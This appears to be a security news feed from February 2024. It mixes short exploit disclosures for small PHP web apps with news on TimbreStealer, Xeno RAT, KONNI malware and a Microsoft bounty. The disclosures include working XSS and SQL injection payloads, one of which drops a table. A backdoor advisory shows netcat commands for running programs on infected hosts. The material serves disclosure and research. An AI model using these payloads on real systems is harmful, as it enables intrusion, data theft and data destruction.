Hospital Management System version 1.0 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: Hospital Management System - Stord XSS# Google Dork: N/A# Application: Hospital Management System# Date: 27.02.2024# Bugs: Stord XSS# Exploit Author: SoSPiro# Vendor Homepage: https://www.sourcecodester.com/# Software Link: https://www.sourcecodester.com/php/16720/free-hospital-management-system-small-practices.html# Version: 1.0# Tested on: Windows 10 64 bit Wampserver # CVE : N/A## Vulnerability Description:A security vulnerability has been identified in the "Vaidya Mitra" healthcare application, specifically in the doctor's account settings functionality. The issue arises due to inadequate input validation, allowing an attacker to inject malicious scripts into the system, leading to a Cross-Site Scripting (XSS) vulnerability.## Proof of Concept (PoC):1. Exploiting Doctor's Account Settings:The attacker, using the Burp Suite Proxy tool, intercepts and modifies a POST request sent by the doctor to update their account settings.The payload <script>alert(1)</script> is injected into the email parameter.The manipulated request looks like the following:POST /Vaidya%20Mitra/vm/doctor/edit-doc.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0...Content-Type: application/x-www-form-urlencodedContent-Length: 170...id00=2&oldemail=doctor%40doctor.com&email=doctor%40doctor.com<script>alert(1)</script>&name=Dr.Akash+Sanap&nic=234&Tele=8080808080&spec=1&password=doctor&cpassword=doctorUpon submission, the payload gets stored in the doctor's email field.2. Triggering XSS in Admin's View:An admin viewing doctors' information at http://localhost/Vaidya%20Mitra/vm/admin/doctors.php inadvertently triggers the XSS vulnerability.The admin sends a GET request to view a doctor's details:GET /Vaidya%20Mitra/vm/admin/doctors.php?action=view&id=2 HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0...The server returns the doctor's information, and the XSS payload in the email field is executed in the admin's browser, leading to the alert being triggered.PoC - video: https://drive.google.com/file/d/1dCz5Q3mKMfpB2pjPeOV6ZoBi1Nj74DR1/view?usp=drive_link

Hospital Management System 1.0 Cross Site Scripting

Hospital Management System version 1.0 suffers from a remote SQL injection vulnerability.

    # Exploit Title: Hospital Management System - SQL Injection# Google Dork: N/A# Application: Hospital Management System# Date: 26.02.2024# Bugs: SQL Injection # Exploit Author: SoSPiro# Vendor Homepage: https://www.sourcecodester.com/# Software Link: https://www.sourcecodester.com/php/16720/free-hospital-management-system-small-practices.html# Version: 1.0# Tested on: Windows 10 64 bit Wampserver # CVE : N/A## Vulnerability Description:A security vulnerability has been identified in this web application due to the direct inclusion of user-input data into SQL queries, rendering it susceptible to SQL Injection attacks. This vulnerability may enable malicious actors to gain unauthorized access to sensitive information.## Proof of Concept (PoC):Below is an example of an attack that a malicious actor could execute to exploit this vulnerability.POST /Vaidya%20Mitra/vm/login.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedContent-Length: 80Origin: http://localhostConnection: closeReferer: http://localhost/Vaidya%20Mitra/vm/login.phpCookie: _ga=GA1.1.2080672900.1708952048; _gid=GA1.1.1833914840.1708952048; PHPSESSID=18a16tga7k2glh7useremail=test@123.asd'%2b(select*from(select(sleep(5)))a)%2b'&userpassword=testIn this example, the payload appended to the useremail parameter aims to execute a sleep function, intentionally delaying the server's response time. Real-world attacks could involve more malicious operations.Request - Response foto: https://i.imgur.com/LxENLBz.png## Vulnerable code section:====================================================/Vaidya%20Mitra/vm/login.php$email = $_POST['useremail'];$password = $_POST['userpassword'];$result = $database->query("select * from webuser where email='$email'");

Hospital Management System 1.0 SQL Injection

Talos has observed a phishing spam campaign targeting potential victims in Mexico, luring users to download a new obfuscated information stealer we’re calling TimbreStealer, which has been active since at least November 2023.

TimbreStealer campaign targets Mexican users with financial lures

An "intricately designed" remote access trojan (RAT) called Xeno RAT has been made available on GitHub, making it available to other actors at no extra cost.
Written in C# and compatible with Windows 10 and Windows 11 operating systems, the open-source RAT comes with a "comprehensive set of features for remote system management," according to its developer, who goes by the name moom825

Open-Source Xeno RAT Trojan Emerges as a Potent Threat on GitHub

Starting today, we are doubling the maximum bounty award for the Microsoft 365 Insider Bug Bounty Program to $30,000 USD for high impact scenarios, such as unauthenticated non-sandboxed code execution with no user interaction. We are also expanding the scope of our bounty program to include more vulnerability types and products.

Starting today, we are doubling the maximum bounty award for the Microsoft 365 Insider Bug Bounty Program to $30,000 USD for high impact scenarios, such as unauthenticated non-sandboxed code execution with no user interaction. We are also expanding the scope of our bounty program to include more vulnerability types and products. From **Security feature bypass** and **Microsoft OneNote**, we’re partnering with researchers to cast a wider net to catch and fix high severity security vulnerabilities. Finally, we’ve introduced a tiered approach to awards for vulnerabilities that meet a certain severity and report quality.

To get started, join the Microsoft 365 Insider program.  For more information, see:

*   Microsoft 365 Insider Blog
*   Microsoft 365 Insider Handbook
*   Microsoft 365 Insider FAQ
*   Follow us @Msft365Insider

As shared in our bounty year in review blog post, we are constantly growing, iterating, and evolving our bounty programs to help Microsoft customers stay ahead of the curve in the ever-changing security landscape and emerging technologies. We are grateful for the security research community and look forward to receiving your submissions and working with you to improve security for everyone.

Found a security vulnerability? Share your findings by submitting a report through the MSRC Researcher Portal.

We are excited to learn and hear your feedback on the expanded Microsoft 365 Insider bounty program. If you have any questions about this program or any other security research incentive program, please email us at bounty@microsoft.com. 

Bruce Robinson, MSRC

Microsoft boosts its Microsoft 365 Insider Builds on Windows Bounty Program with higher awards and an expanded scope

Simple Inventory Management System version 1.0 suffers from a remote SQL injection vulnerability.

# Exploit Title: Simple Inventory Management System - SQL Injection  
# Google Dork: N/A  
# Application: Simple Inventory Management System  
# Date: 26.02.2024  
# Bugs: SQL Injection   
# Exploit Author: SoSPiro  
# Vendor Homepage: https://www.sourcecodester.com/  
# Software Link: https://www.sourcecodester.com/php/15419/simple-inventory-management-system-phpoop-free-source-code.html  
# Version: 1.0  
# Tested on: Windows 10 64 bit Wampserver   
# CVE : N/A

## Vulnerability Description:

This code snippet is potentially vulnerable to SQL Injection. User inputs ($_POST['email'] and $_POST['pwd']) are directly incorporated into the SQL query without proper validation or sanitization, exposing the application to the risk of manipulation by malicious users. This could allow attackers to inject SQL code through specially crafted input.

## Proof of Concept (PoC):

An example attacker could input the following values:

email: test@gmail.com'%2b(select*from(select(sleep(20)))a)%2b'  
pwd: test

This would result in the following SQL query:

SELECT * FROM users WHERE email = 'test@gmail.com'+(select*from(select(sleep(20)))a)+'' AND password = 'anything'

This attack would retrieve all users, making the login process always successful.

request-response foto:https://i.imgur.com/slkzYJt.png

## Vulnerable code section:  
====================================================  
ims/login.php

<?php   
ob_start();  
session_start();  
include('inc/header.php');  
$loginError = '';  
if (!empty($_POST['email']) && !empty($_POST['pwd'])) {  
  include 'Inventory.php';  
  $inventory = new Inventory();

  // Vulnerable code  
  $login = $inventory->login($_POST['email'], $_POST['pwd']);   
  //

if(!empty($login)) {  
    $_SESSION['userid'] = $login[0]['userid'];  
    $_SESSION['name'] = $login[0]['name'];        
    header("Location:index.php");  
  } else {  
    $loginError = "Invalid email or password!";  
  }  
}  
?>

Simple Inventory Management System 1.0 SQL Injection

Flashcard Quiz App version 1.0 suffers from a remote SQL injection vulnerability.

    # Exploit Title: Flashcard Quiz App - SQL Injection# Google Dork: N/A# Application: Flashcard Quiz App# Date: 25.02.2024# Bugs: SQL Injection # Exploit Author: SoSPiro# Vendor Homepage: https://www.sourcecodester.com/# Software Link: https://www.sourcecodester.com/php/17160/flashcard-quiz-app-using-php-and-mysql-source-code.html# Version: 1.0# Tested on: Windows 10 64 bit Wampserver # CVE : N/A## Vulnerability Description:The provided PHP code is vulnerable to SQL injection. SQL injection occurs when user inputs are directly concatenated into SQL queries without proper sanitization, allowing an attacker to manipulate the SQL query and potentially perform unauthorized actions on the database.## Proof of Concept (PoC):This vulnerability involves injecting malicious SQL code into the 'card' parameter in the URL.1. Original Code:$card = $_GET['card'];$query = "DELETE FROM tbl_card WHERE tbl_card_id = '$card'";2. Payload:' OR '1'='1'; SELECT IF(VERSION() LIKE '8.0.31%', SLEEP(5), 0); --3. Injected Query:DELETE FROM tbl_card WHERE tbl_card_id = '' OR '1'='1'; SELECT IF(VERSION() LIKE '8.0.31%', SLEEP(5), 0); --Request Response foto: https://i.imgur.com/5IXvpiZ.png## Vulnerable code section:====================================================endpoint/delete-flashcard.php$card = $_GET['card'];$query = "DELETE FROM tbl_card WHERE tbl_card_id = '$card'";

Flashcard Quiz App 1.0 SQL Injection

FAQ Management System version 1.0 suffers from a remote SQL injection vulnerability.

# Exploit Title: FAQ Management System - SQL Injection  
# Google Dork: N/A  
# Application: FAQ Management System  
# Date: 25.02.2024  
# Bugs: SQL Injection   
# Exploit Author: SoSPiro  
# Vendor Homepage: https://www.sourcecodester.com/  
# Software Link: https://www.sourcecodester.com/php/17175/faq-management-system-using-php-and-mysql-source-code.html  
# Version: 1.0  
# Tested on: Windows 10 64 bit Wampserver   
# CVE : N/A

## Vulnerability Description:

The provided code is vulnerable to SQL injection. The vulnerability arises from directly using user input ($_GET['faq']) in the SQL query without proper validation or sanitization. An attacker can manipulate the 'faq' parameter to inject malicious SQL code, leading to unintended and potentially harmful database operations.

## Proof of Concept (PoC):

An attacker can manipulate the 'faq' parameter to perform SQL injection. For example:

1. Original Request:  
http://example.com/endpoint/delete-faq.php?faq=123

2.Malicious Request (SQL Injection):  
http://example.com/endpoint/delete-faq.php?faq=123'; DROP TABLE tbl_faq; --

This would result in a query like:

DELETE FROM tbl_faq WHERE tbl_faq_id = '123'; DROP TABLE tbl_faq; --

Which can lead to the deletion of data or even the entire table.

poc foto: https://i.imgur.com/1IENYFg.png

## Vulnerable code section:  
====================================================  
endpoint/delete-faq.php

$faq = $_GET['faq'];

// ...

$query = "DELETE FROM tbl_faq WHERE tbl_faq_id = '$faq'";

FAQ Management System 1.0 SQL Injection

Backdoor.Win32.AutoSpy.10 malware suffers from a remote command execution vulnerability.

    Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024Original source: https://malvuln.com/advisory/b012704cad2bae6edbd23135394b9127.txtContact: malvuln13@gmail.comMedia: twitter.com/malvulnThreat: Backdoor.Win32.AutoSpy.10Vulnerability: Unauthenticated Remote Command ExecutionDescription: The malware listens on TCP port 1008. Third party adversaries who can reach an infected host can issue various commands made available by the backdoor. Command "startapp" will run programs, "msgbox" will send a popup box to message the victim. The "hangup victim" cmd will cause infinite notepad.exe processes to open on the affected machine. Other commands avail are "info tick" which returns system information, "kill" [file] etc.Family: AutoSpyType: PE32MD5: b012704cad2bae6edbd23135394b9127Vuln ID: MVID-2024-0671Disclosure: 02/24/2024Exploit/PoC:C:\sec>nc64.exe x.x.x.x 1008startapp "c:\Windows\System32\mspaint.exe"Application started...startapp "c:\Windows\System32\calc.exe"Application started...msgbox hateMessagebox shown...info tickProduct Name       :Product ID         :Product Type       :User Organization  :User Name          :System Root        :Version            :Version Number     :Sub Version Number :Computer Name      : DESKTOP-2C4IJHOTime Zone          : @tzres.dll,-112Network Logon      :beep BeepBeep send...hangup victimDisclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Backdoor.Win32.AutoSpy.10 MVID-2024-0671 Remote Command Execution

By Waqas
Friend or Foe?
This is a post from HackRead.com Read the original post: Russian Ministry Software Backdoored with North Korean KONNI Malware

Discover the latest cybersecurity revelation: KONNI malware, linked to North Korean cyber operations, targets the Russian Ministry of Foreign Affairs. Learn about the sophisticated tactics and geopolitical implications

German cybersecurity firm DCSO has discovered a malware sample uploaded to VirusTotal in January 2024, believed to be part of North Korea-linked activity targeting the Russian Ministry of Foreign Affairs (MID). The malware is believed to be **KONNI**, a North Korean nexus tool used since 2014.

KONNI, first **discovered in 2014**, is associated with the Democratic People’s Republic of Korea (DPRK)-nexus actors like Konni Group and TA406. The malware has unique stealer functionality and remote administration capability. It’s installed in an MSI file, with C2 servers encrypted with AES-CTR, and a CustomAction for detection and payload selection.

In the latest discovery, researchers noted that KONNI’s command set remains unchanged, allowing operators to execute commands, upload/download files, specify sleep intervals, communicate via HTTP, and compress file extensions into .CAB archives.

> #ShortAndMalicious  
> Our researchers recently discovered an installer for the mandatory 🇷🇺Russian tax filling software "Spravki BK" (Справки БК) which was backdoored with #KONNI malware, generally attributed to 🇰🇵North Korean threat actors. 1/5
> 
> — DCSO CyTec (@DCSO\_CyTec) October 17, 2023

Interestingly, the sample **DCSO analyzed** was delivered via a backdoored Russian language software installer, similar to a previously observed KONNI delivery technique. The sample was for a tool called “Statistika KZU”, which is believed to be intended for internal use within the Russian MID. The software is used for relaying annual report files from overseas consular posts to the MID’s Consular Department via a secure channel.

Additionally, two user manuals were found in the backdoored installer, detailing the installation and usage of the “Statistika KZU” program. The first manual explains installing the program on an administrative account, providing minimum software requirements and screenshots.

The second 22-pager manual, “StatRKZU\_Pyкoвoдcтвo,” outlines how to use the software for generating annual report files on KZU consular activities, including templates for calculating registered and detained citizens.

The MID’s software, identified as “GosNIIAS” (a Russian federal research institute primarily involved in aerospace research), was tested offline and found legitimate. Despite no direct correlations between GosNIIAS and Statistika KZU, references to contracts were found, including a procurement order for automated system maintenance and data protection software.

This discovery comes amid increasing geopolitical proximity between Russia and the DPRK, following Russia’s renewed invasion of Ukraine in 2022.

****Russia and North Korea’s Cyber Standoff****

This is not the first time Russia and North Korea have made collective headlines over cybersecurity threats. **In August 2023**, the world witnessed another significant incident when “elite North Korean hackers” affiliated with OpenCarrot and the Lazarus group breached NPO Mashinostroyeniya, a key Russian missile developer. This breach, lasting for at least five months, revealed the alarming capabilities and determination of the attackers.

****Previous Use of KONNI Backdoor****

KONNI has been used in many cyberespionage campaigns targeting Russian agencies. FortiGuard Labs discovered a KONNI malware campaign **in November 2023**, targeting Windows systems through Word documents with malicious macros. Malwarebytes researchers **discovered** a campaign in mid-2021 using Russian language lures concerning Russian-Korean trade and economic issues and a meeting of a Russian-Mongolian intergovernmental commission.

An unknown hacking group **targeted** North Korean organizations using KONNI Malware in 2017. Three campaigns were identified back then- two by Talos Intelligence, a Cisco-owned cybersecurity firm, and the third reported by Cylance security firm.

For insights into this, we reached out to John Bambenek, President at Bambenek Consulting, who emphasised that “It is not uncommon for intelligence agencies to spy even on their putative allies, if for nothing else, for insights to either strengthen the relationship or to identify and mitigate threats.”

Mr. Bambenek highlighted that “The use of a backdoor in software used almost exclusively by the Russian Foreign Ministry stands out and shows that the DPRK did their research here for a particular hook into their victims and is, ironically, a more targeted and precise adaptation of the approach Russian intelligence used with **NotPetya**.”

“Espionage has a couple of nuances where sometimes you want more sophisticated tools and for some attacks, you want narrow and simpler tools. For espionage, you want long-term persistent infection and sophisticated and interactive tools provide defenders more opportunities for detection. It’s not uncommon to see tools used for espionage that lack some of the obfuscation commonly observed in **cybercrime tools**,” he added.

****RELATED ARTICLES****

1.  **Gone: Russian Central Bank hacked; $31 million stolen**
2.  **2 Russian Industrial Firms Hacked, 112GB of Data Leaked**
3.  **Anonymous Leaks 128 GB of Data from Russian ISP Convex**
4.  **Elite North Korean Hackers Breach Russian Missile Developer**
5.  **Anonymous Hacks Central Bank of Russia; Leaks 28GB of Data**

Tag

#windows